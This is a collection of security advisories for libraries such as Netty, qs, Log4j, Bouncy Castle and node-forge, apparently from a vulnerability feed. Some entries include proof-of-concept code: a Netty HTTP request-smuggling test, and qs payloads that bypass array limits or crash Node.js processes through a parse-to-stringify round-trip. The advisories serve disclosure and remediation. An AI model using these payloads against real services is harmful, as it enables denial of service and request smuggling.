Uncontrolled Recursion vulnerability in Apache Commons Lang. This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. Users are recommended to upgrade to version 3.18.0, which fixes the issue.
### Summary Netty's chunk size parser silently overflows int, enabling request smuggling attacks. ### Details io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int. The size is accumulated as follows: result *= 16; result += digit; The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size. ### PoC The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body. ```java @Test public void test() { String requestStr = "POST / HTTP/1.1\r\n" + "Host: localhost\r\n" + "Transfer-Encoding: chunked\r\n\r\n" + "100000004\r\n" + "test\r\n" + "0\r\n" + "\r\n" + "GET /smuggled HTTP/1.1\r\n" + "Host: localhost\r\n" + "Content-Length: 0\r\n" + "\r\n"; EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder()); assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII))); // Request 1 HttpRequest request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); HttpContent content = channel.readInbound(); assertTrue(content.decoderResult().isSuccess()); assertEquals("test", content.content().toString(CharsetUtil.US_ASCII)); content.release(); LastHttpContent last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); // Request 2 request = channel.readInbound(); assertTrue(request.decoderResult().isSuccess()); last = channel.readInbound(); assertTrue(last.decoderResult().isSuccess()); last.release(); } ``` ### Impact HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
## Summary `RedisArrayAggregator` clears retained partial aggregate state when the `maxNestedArrayDepth` limit is exceeded, but it does not clear the same state when the sibling `maxElements` limit is exceeded. A peer can start a valid RESP array, send a bulk-string child, then send a nested array header longer than the configured `maxElements`. Netty throws a decoder exception, but the existing partial aggregate remains retained in the handler. If the application leaves the channel alive after the exception, later messages are still consumed into the pre-error aggregate. The supplied PoV proves both the retained `ByteBuf` reference and the stale parser state continuation. ## Technical Details `RedisArrayAggregator.decode(...)` retains non-array messages before adding them to `depths.peek().children`. In `decodeRedisArrayHeader(...)`, the `header.length() > maxElements` branch throws immediately: ```java if (header.length() > maxElements) { throw new CodecException("this codec doesn't support longer length than " + maxElements); } ``` The immediately following nested-depth branch clears retained aggregate state before throwing: ```java if (depths.size() >= maxNestedArrayDepth) { releaseAndClearDepths(); throw new CodecException("max nested array depth exceeded: " + maxNestedArrayDepth); } ``` The missing cleanup in the first branch leaves retained children and aggregate state reachable after the exception. ## PoC Place the supplied `RedisArrayAggregatorIncompleteCleanupPovTest.java` under: `codec-redis/src/test/java/io/netty/handler/codec/redis/` Run: ```fish ./mvnw -pl codec-redis -am -Dtest=RedisArrayAggregatorIncompleteCleanupPovTest -Dsurefire.failIfNoSpecifiedTests=false -DskipNativeTests -DskipAutobahnTests test ``` The test suite includes: - serialized RESP trigger through `RedisDecoder`, `RedisBulkStringAggregator`, and `RedisArrayAggregator`; - direct refcount proof that max-elements overflow does not release the retained child immediately; - post-exception continuation proof that the stale aggregate consumes a later message; - nested-depth controls that clear the same partial aggregate state. All five tests pass on current `4.2`, `4.2.15.Final`, and `4.1.135.Final`. ## Impact For Redis codec pipelines that continue after codec exceptions, an unauthenticated peer can keep attacker-controlled aggregate state alive across a security-limit exception. This can pin retained pooled buffers until channel close/removal or until a later message completes the stale aggregate. `RedisBulkStringAggregator` permits bulk strings up to `RedisConstants.REDIS_MESSAGE_MAX_LENGTH` (`512MB`), so the retained child can be large in deployments that aggregate untrusted Redis streams. Applications that always close the channel or remove the handler on decoder exceptions will trigger existing cleanup; the issue is the missing immediate cleanup on the max-elements failure path while the handler remains installed. ## Suggested Fix Call `releaseAndClearDepths()` before throwing from the max-elements branch. Consider applying the same cleanup to all unrecoverable `decodeRedisArrayHeader(...)` error exits that can occur while `depths` is non-empty. ## Affected Package/Versions `io.netty:netty-codec-redis` Confirmed on: - current `4.2` branch head `7bae566a93e69409697fe57fa807910ba5c9720e` - `4.2.15.Final` at `a41f7b289ce1` - `4.1.135.Final` at `f05f765d8146` ## Advisory History This differs from the public Redis codec advisories because it reproduces on their patched tags: - `GHSA-5w86-c3rq-vjj7` - `GHSA-3244-j874-rhc2` / `CVE-2026-44250` - `GHSA-6jv9-x5w9-2ccm` / `CVE-2026-48006` - `GHSA-6ghj-frrj-jjj3` / `CVE-2026-44890` ## Why This Is Not Intended Behavior The public API docs document `RedisArrayAggregator` as aggregating `RedisMessage` parts into `ArrayRedisMessage` and document a `CodecException` when an array header exceeds `maxElements`. They do not document preserving pre-exception partial aggregate state after that limit fires. The adjacent nested-depth branch already calls `releaseAndClearDepths()` before throwing. The max-elements branch is the sibling aggregation-limit branch but throws without cleanup. Netty's later Redis lifecycle cleanup patch explicitly added release behavior for nested-array failure and handler removal, leaving the max-elements failure branch as a missed cleanup path.
### Summary Insufficient validation of byte array arguments in JNI-based XXHash implementations in lz4-java 1.11.0 and earlier allows callers to crash the JVM by passing an invalid array reference or invalid range to native XXHash methods. This affects applications where an attacker can influence the byte array object or the `off` / `len` arguments passed to affected XXHash APIs. It does **not** affect the common case where only the contents of a valid byte array are attacker-controlled. Java-based XXHash implementations are *not* affected. ### Details The JNI-backed XXHash implementations pass caller-provided byte array arguments to native code. The affected APIs are: - `XXHashFactory.nativeInstance().hash32().hash(byte[] buf, int off, int len, int seed)` - `XXHashFactory.nativeInstance().hash64().hash(byte[] buf, int off, int len, long seed)` - `XXHashFactory.nativeInstance().newStreamingHash32(seed).update(byte[] bytes, int off, int len)` - `XXHashFactory.nativeInstance().newStreamingHash64(seed).update(byte[] bytes, int off, int len)` Before the fix, the streaming JNI implementations did not validate `bytes`, `off`, or `len` before calling `XXHashJNI.XXH32_update` / `XXHashJNI.XXH64_update`. The non-streaming JNI implementations called `SafeUtils.checkRange`, but `SafeUtils.checkRange(byte[], int, int)` skipped all array access when `len == 0`, so a null byte array with a zero length could still reach JNI. As a result: - `hash(null, 0, 0, seed)` and `update(null, 0, 0)` could pass a null array reference to JNI, causing a fatal JVM crash in `GetPrimitiveArrayCritical`. - `update(new byte[16], 0, Integer.MAX_VALUE)` could cause native XXHash code to read far beyond the end of the Java array, causing a fatal JVM crash and potentially exposing in-process memory to the native routine before the crash. The oversized-length non-streaming `hash(new byte[16], 0, Integer.MAX_VALUE, seed)` case was already rejected in Java before this fix. The missing validation affected the streaming oversized-length case and the zero-length null-array case for both streaming and non-streaming JNI XXHash APIs. The impact of this vulnerability depends on how user code uses the XXHash API. Code that hashes attacker-controlled byte contents in a valid, correctly bounded array is not affected. Code may be affected if an attacker can cause the application to pass a null array, an attacker-controlled offset, or an attacker-controlled length to the native XXHash API. The primary impact is denial of service due to JVM termination. For oversized lengths, native code may also read outside the Java array before the process crashes. ### Mitigation lz4-java 1.11.1 fixes this issue without requiring changes in user code. If you cannot upgrade, avoid passing attacker-controlled array references, offsets, or lengths to JNI-backed XXHash APIs. In particular, validate that arrays are non-null and that `off` and `len` describe a range fully contained in the array before calling native XXHash methods. Using `XXHashFactory.safeInstance()` avoids the JNI boundary and is not affected by this native crash behavior.
In Eclipse Vert.x versions [4.0.0, 4.5.21] and [5.0.0, 5.0.4], a StaticHandler configuration for restricting access to hidden files fails to restrict access to hidden directories, allowing unauthorized users to retrieve files within them (e.g. '.git/config').
Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1. Summary The arrayLimit option in qs did not enforce limits for bracket notation (a[]=1&a[]=2), only for indexed notation (a[0]=1). This is a consistency bug; arrayLimit should apply uniformly across all array notations. Note: The default parameterLimit of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than parameterLimit regardless of arrayLimit, because each a[]=valueconsumes one parameter slot. The severity has been reduced accordingly. Details The arrayLimit option only checked limits for indexed notation (a[0]=1&a[1]=2) but did not enforce it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays. PoC const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) Note on parameterLimit interaction: The original advisory's "DoS demonstration" claimed a length of 10,000, but parameterLimit (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. Impact Consistency bug in arrayLimit enforcement. With default parameterLimit, the practical DoS risk is negligible since parameterLimit already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when parameterLimit is explicitly set to a very high value.
Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Integer Overflow vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. This issue has been patched in version 1.3.2.
The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName configuration attribute or the log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName system property is set to true. This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: * The attacker is able to intercept or redirect network traffic between the client and the log receiver. * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates.
Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BC-FJA bc-fips on All allows Excessive Allocation. This vulnerability is associated with program files https://github.com/bcgit/bc-java/blob/main/core/src/main/java/org/bouncycastle/asn1/ASN1ObjectIdenti... https://github.com/bcgit/bc-java/blob/main/core/src/main/java/org/bouncycastle/asn1/ASN1ObjectIdentifier.Java . This issue affects BC Java: from 1.0 through 1.77; BC-FJA: from 1.0.0 through 1.0.2.5, from 2.0.0 through 2.0.1.
Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. BC Java bcpkix on All (API modules), Legion of the Bouncy Castle Inc. BC Java bcprov on All (API modules), Legion of the Bouncy Castle Inc. BCPKIX FIPS bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.Java, https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.Java. This issue affects BC Java: from 1.44 through 1.78; BC Java: from 1.44 through 1.78; BCPKIX FIPS: from 1.0.0 through 1.0.7, from 2.0.0 through 2.0.7.
### Summary The `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284). ### Details When the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `['a', 'b', 'c']`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation. **Vulnerable code** (lib/parse.js: lines ~40-50): ```js if (val && typeof val === 'string' && options.comma && val.indexOf(',') > -1) { return val.split(','); } if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) { throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.'); } return val; ``` The `split(',')` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p). ### PoC **Test 1 - Basic bypass:** ``` npm install qs ``` ```js const qs = require('qs'); const payload = 'a=' + ','.repeat(25); // 26 elements after split (bypasses arrayLimit: 5) const options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true }; try { const result = qs.parse(payload, options); console.log(result.a.length); // Outputs: 26 (bypass successful) } catch (e) { console.log('Limit enforced:', e.message); // Not thrown } ``` **Configuration:** - `comma: true` - `arrayLimit: 5` - `throwOnLimitExceeded: true` Expected: Throws "Array limit exceeded" error. Actual: Parses successfully, creating an array of length 26. ### Impact Denial of Service (DoS) via memory exhaustion.
The fix for CVE-2025-68161 https://logging.apache.org/security.html#CVE-2025-68161 was incomplete: it addressed hostname verification only when enabled via the log4j2.sslVerifyHostName https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName system property, but not when configured through the verifyHostName https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName attribute of the <Ssl> element. Although the verifyHostName configuration attribute was introduced in Log4j Core 2.12.0, it was silently ignored in all versions through 2.25.3, leaving TLS connections vulnerable to interception regardless of the configured value. A network-based attacker may be able to perform a man-in-the-middle attack when all of the following conditions are met: * An SMTP, Socket, or Syslog appender is in use. * TLS is configured via a nested <Ssl> element. * The attacker can present a certificate issued by a CA trusted by the appender's configured trust store, or by the default Java trust store if none is configured. This issue does not affect users of the HTTP appender, which uses a separate verifyHostname https://logging.apache.org/log4j/2.x/manual/appenders/network.html#HttpAppender-attr-verifyHostName attribute that was not subject to this bug and verifies host names by default. Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.
Improper encoding of non-finite floating-point values during MapMessage JSON serialization in Apache Log4j API produces output that is not valid JSON. This issue affects Apache Log4j API versions 2.13.1 through 2.25.4 and version 2.26.0. The fix for CVE-2026-34481 did not cover all code paths: when a MapMessage contains a non-finite IEEE 754 value (NaN, Infinity, or -Infinity), MapMessage.asJson() emits the corresponding bare token. RFC 8259 does not permit these tokens, so a conformant parser rejects the resulting document. The defect is reachable only when both of the following conditions hold: * The application uses the message resolver https://logging.apache.org/log4j/2.x/manual/json-template-layout.html#event-template-resolver-message of JsonTemplateLayout or any other layout that relies on MapMessage.asJson() or MapMessage.getFormattedMessage(new String[]{"JSON"}). * The application logs a MapMessage that contains an attacker-controlled floating-point value. An attacker who can supply a non-finite value can cause the affected layout to emit malformed JSON, which may corrupt the enclosing log record or disrupt downstream log ingestion and parsing. Users are advised to upgrade to Apache Log4j API 2.25.5 or 2.26.1, both of which emit RFC 8259-compliant JSON for non-finite values.
websocket-driver is a WebSocket protocol handler with pluggable I/O. Prior to 0.7.5, if this library is used with the permessage-deflate extension, a WebSocket server or client can be made to accept messages that are larger than the configured maximum message size because the limit is checked against the message frames' length headers, which give the size of the compressed data, not the size after decompression in lib/websocket/driver/hybi.js. This can lead to applications accepting larger messages than expected and exceeding their intended resource usage. This issue is fixed in version 0.7.5.
Use of a Broken or Risky Cryptographic Algorithm vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpkix on all (pkix modules), Legion of the Bouncy Castle Inc. BCPKIX-FIPS bcpkix on All (pkix modules), Legion of the Bouncy Castle Inc. BCPIX-LTS bcpkix on All (pkix modules). This vulnerability is associated with program files JcaContentVerifierProviderBuilder.Java, JcaContentVerfierProviderBuilder.Java. This issue affects BC-JAVA: from 1.67 before 1.80.2, from 1.81 before 1.81.1, from 1.82 before 1.84; BCPKIX-FIPS: from 2.0.6 before 2.0.11, from 2.1.7 before 2.1.11; BCPIX-LTS: from 2.73.7 before 2.73.11.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, ab attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
### Summary `qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: "x" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`. ### Details `lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call. Such an object can be built from untrusted input. `qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly. #### PoC ```js var qs = require("qs"); qs.stringify(qs.parse("x[constructor][isBuffer]=y", { plainObjects: true })); qs.stringify(JSON.parse("{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}")); // TypeError: obj.constructor.isBuffer is not a function // at Object.isBuffer (lib/utils.js:332:78) // at stringify (lib/stringify.js:127:45) ``` #### Fix `lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0: ```diff - return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); + return !!(obj.constructor && typeof obj.constructor.isBuffer === "function" && obj.constructor.isBuffer(obj)); ``` Real `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed. ### Affected versions `>=2.2.5 <6.16.0`, fixed in v6.16.0. The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.
Allocation of Resources Without Limits or Throttling vulnerability in Legion of the Bouncy Castle Inc. Bouncy Castle for Java bcpkix, bcprov, bcpkix-fips on All (API modules) allows Excessive Allocation. This vulnerability is associated with program files https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertP... https://github.Com/bcgit/bc-java/blob/main/pkix/src/main/java/org/bouncycastle/pkix/jcajce/PKIXCertPathReviewer.java , https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathRevi... https://github.Com/bcgit/bc-java/blob/main/prov/src/main/java/org/bouncycastle/x509/PKIXCertPathReviewer.java . This issue affects Bouncy Castle for Java: from BC 1.44 through 1.78, from BCPKIX FIPS 1.0.0 through 1.0.7, from BCPKIX FIPS 2.0.0 through 2.0.7.
### Summary `qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw. An attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip. ### Details `utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value: ```js if (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... } ``` `utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } return !!(obj.constructor && obj.constructor.isBuffer && obj.constructor.isBuffer(obj)); }; ``` `constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation. ### Trust Boundary Note `qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. ### PoC `poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw: ```js 'use strict'; var qs = require('qs'); var untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y var parsed = qs.parse(untrustedQueryString, { plainObjects: true }); console.log('[parse] kept constructor key:', JSON.stringify(parsed)); try { qs.stringify(parsed); console.log('[stringify] no throw (unexpected)'); } catch (e) { console.log('[stringify] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02_isBuffer.js` — the minimal defect: ```js 'use strict'; var qs = require('qs'); try { qs.stringify(JSON.parse('{"a":{"constructor":{"isBuffer":"x"}}}')); } catch (e) { console.log('[A] DoS reproduced ->', e.constructor.name + ':', e.message); } ``` `poc02b_isBuffer_async_crash.js` — worker death in an async sink: ```js 'use strict'; var qs = require('qs'); function handleRequestAsync(clientJsonBody) { try { setImmediate(function () { // async continuation, outside the try qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught }); console.log('[handler] returned 200 synchronously; async work scheduled'); } catch (e) { console.log('[handler] caught synchronously (will NOT happen):', e.message); } } process.on('exit', function (code) { console.log('[proc] process exiting with code:', code); }); handleRequestAsync('{"filters":{"constructor":{"isBuffer":"x"}}}'); ``` ### Execution Steps ```bash cd poc npm install qs@6.15.3 node poc02c_isBuffer_qs_only_roundtrip.js # pure qs parse->stringify -> TypeError node poc02_isBuffer.js # minimal defect -> TypeError inside stringify node poc02b_isBuffer_async_crash.js # async sink -> uncaught throw -> exit code 1 ``` ### Reproduction Evidence `poc02c_isBuffer_qs_only_roundtrip.js` : ``` [parse] kept constructor key: {"x":{"constructor":{"isBuffer":"y"}}} [stringify] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02_isBuffer.js`: ``` [A] DoS reproduced -> TypeError: obj.constructor.isBuffer is not a function ``` `poc02b_isBuffer_async_crash.js` : ``` [handler] returned 200 synchronously; async work scheduled [proc] process exiting with code: 1 TypeError: obj.constructor.isBuffer is not a function at Object.isBuffer (.../qs/lib/utils.js:332:78) at stringify (.../qs/lib/stringify.js:127:45) === EXIT CODE: 1 === ``` The pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker. ### Impact An unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`. ### Recommended Fix Replace the duck-type with a brand check mirroring `utils.isRegExp`: ```js var isBuffer = function isBuffer(obj) { if (!obj || typeof obj !== 'object') { return false; } if (typeof Buffer !== 'undefined' && typeof Buffer.isBuffer === 'function') { return Buffer.isBuffer(obj); } return Object.prototype.toString.call(obj) === '[object Uint8Array]'; }; ``` If duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`.
## Summary An attacker can force WebSocket upgrade via the lax V07 (or V08) handshaker by sending `Sec-WebSocket-Version: 7` and omitting `Connection: Upgrade` / `Upgrade: websocket` headers, completing a protocol switch that a proxy would not recognize as an Upgrade request and enabling HTTP request smuggling / protocol-confusion attacks.
### Summary **MITRE-Formatted CVE Description** An Integer Overflow (CWE-190) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures containing OIDs with oversized arcs. These arcs may be decoded as smaller, trusted OIDs due to 32-bit bitwise truncation, enabling the bypass of downstream OID-based security decisions. ### Description An ASN.1 OID Integer Truncation vulnerability exists in the node-forge `asn1.derToOid` function within `forge/lib/asn1.js`. OID components are decoded using JavaScript's bitwise left-shift operator (`<<`), which forcibly casts values to 32-bit signed integers. Consequently, if an attacker provides a mathematically unique, very large OID arc integer exceeding $2^{31}-1$, the value silently overflows and wraps around rather than throwing an error. ### Impact This vulnerability allows a specially crafted ASN.1 object to spoof an OID, where a malicious certificate with a massive, invalid OID is misinterpreted by the library as a trusted, standard OID, potentially bypassing security controls. This vulnerability impacts the `asn1.derToOid` function in `node-forge` before patched version `1.3.2`. Any downstream application using this component is impacted. This component may be leveraged by downstream applications in ways that enables partial compromise of integrity, leading to potential availability and confidentiality compromises.
A resource allocation vulnerability exists in Bouncy Castle for Java (by Legion of the Bouncy Castle Inc.) that affects all API modules. The vulnerability allows attackers to cause excessive memory allocation through unbounded resource consumption, potentially leading to denial of service. The issue is located in the ASN1ObjectIdentifier.java file in the core module. This issue affects Bouncy Castle for Java: from BC 1.0 through 1.77, from BC-FJA 1.0.0 through 2.0.0.
The fix for CVE-2025-68161 was incomplete: it addressed hostname verification only when enabled via the [`log4j2.sslVerifyHostName`](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property, but not when configured through the [`verifyHostName`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) attribute of the `<Ssl>` element. Although the `verifyHostName` configuration attribute was introduced in Log4j Core 2.12.0, it was silently ignored in all versions through 2.25.3, leaving TLS connections vulnerable to interception regardless of the configured value. A network-based attacker may be able to perform a man-in-the-middle attack when all of the following conditions are met: * An SMTP, Socket, or Syslog appender is in use. * TLS is configured via a nested <Ssl> element. * The attacker can present a certificate issued by a CA trusted by the appender's configured trust store, or by the default Java trust store if none is configured. This issue does not affect users of the HTTP appender, which uses a separate [`verifyHostname`](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#HttpAppender-attr-verifyHostName) attribute that was not subject to this bug and verifies host names by default. Users are advised to upgrade to Apache Log4j Core 2.25.4, which corrects this issue.
### Summary The `arrayLimit` option in qs did not enforce limits for bracket notation (`a[]=1&a[]=2`), only for indexed notation (`a[0]=1`). This is a consistency bug; `arrayLimit` should apply uniformly across all array notations. **Note:** The default `parameterLimit` of 1000 effectively mitigates the DoS scenario originally described. With default options, bracket notation cannot produce arrays larger than `parameterLimit` regardless of `arrayLimit`, because each `a[]=value` consumes one parameter slot. The severity has been reduced accordingly. ### Details The `arrayLimit` option only checked limits for indexed notation (`a[0]=1&a[1]=2`) but did not enforce it for bracket notation (`a[]=1&a[]=2`). **Vulnerable code** (`lib/parse.js:159-162`): ```javascript if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } ``` **Working code** (`lib/parse.js:175`): ```javascript else if (index <= options.arrayLimit) { // Limit checked here obj = []; obj[index] = leaf; } ``` The bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index <= options.arrayLimit` before creating arrays. ### PoC ```javascript const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 }); console.log(result.a.length); // Output: 6 (should be max 5) ``` **Note on parameterLimit interaction:** The original advisory's "DoS demonstration" claimed a length of 10,000, but `parameterLimit` (default: 1000) caps parsing to 1,000 parameters. With default options, the actual output is 1,000, not 10,000. ### Impact Consistency bug in `arrayLimit` enforcement. With default `parameterLimit`, the practical DoS risk is negligible since `parameterLimit` already caps the total number of parsed parameters (and thus array elements from bracket notation). The risk increases only when `parameterLimit` is explicitly set to a very high value.
